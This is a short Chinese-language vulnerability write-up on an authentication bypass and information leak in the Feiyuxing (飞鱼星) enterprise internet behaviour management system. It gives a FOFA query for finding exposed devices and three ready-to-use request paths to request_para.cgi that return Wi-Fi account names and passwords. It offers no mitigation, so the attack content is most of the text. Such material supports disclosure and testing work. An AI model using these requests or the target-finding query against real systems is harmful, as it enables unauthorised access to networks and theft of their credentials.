# 飞鱼星 企业级智能上网行为管理系统 权限绕过信息泄露漏洞

### 漏洞描述 <a href="#lou-dong-miao-shu" id="lou-dong-miao-shu"></a>

飞鱼星 企业级智能上网行为管理系统 存在权限绕过以及信息泄露漏洞，可以获取管理员权限以及用户密码

### 漏洞影响 <a href="#lou-dong-ying-xiang" id="lou-dong-ying-xiang"></a>

&#x20;Note

飞鱼星 企业级智能上网行为管理系统

### FOFA <a href="#fofa" id="fofa"></a>

&#x20;Note

title="飞鱼星企业级智能上网行为管理系统"

### 漏洞复现 <a href="#lou-dong-fu-xian" id="lou-dong-fu-xian"></a>

权限绕过参考上一篇 **飞鱼星 家用智能路由 cookie.cgi 权限绕过**

信息泄露POC

```
/request_para.cgi?parameter=wifi_info          #获取ALL WIFI账号密码
/request_para.cgi?parameter=wifi_get_5g_host #获取5GWIFI账号密码
/request_para.cgi?parameter=wifi_get_2g_host #获取2GWIFI账号密码
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhr29TNgN3F9wtPQQQU%2F-MhrTgUiUpxyovDPT33W%2Fimage.png?alt=media\&token=0f1d36e2-9b41-45c8-bf4f-9fb82101d8ec)
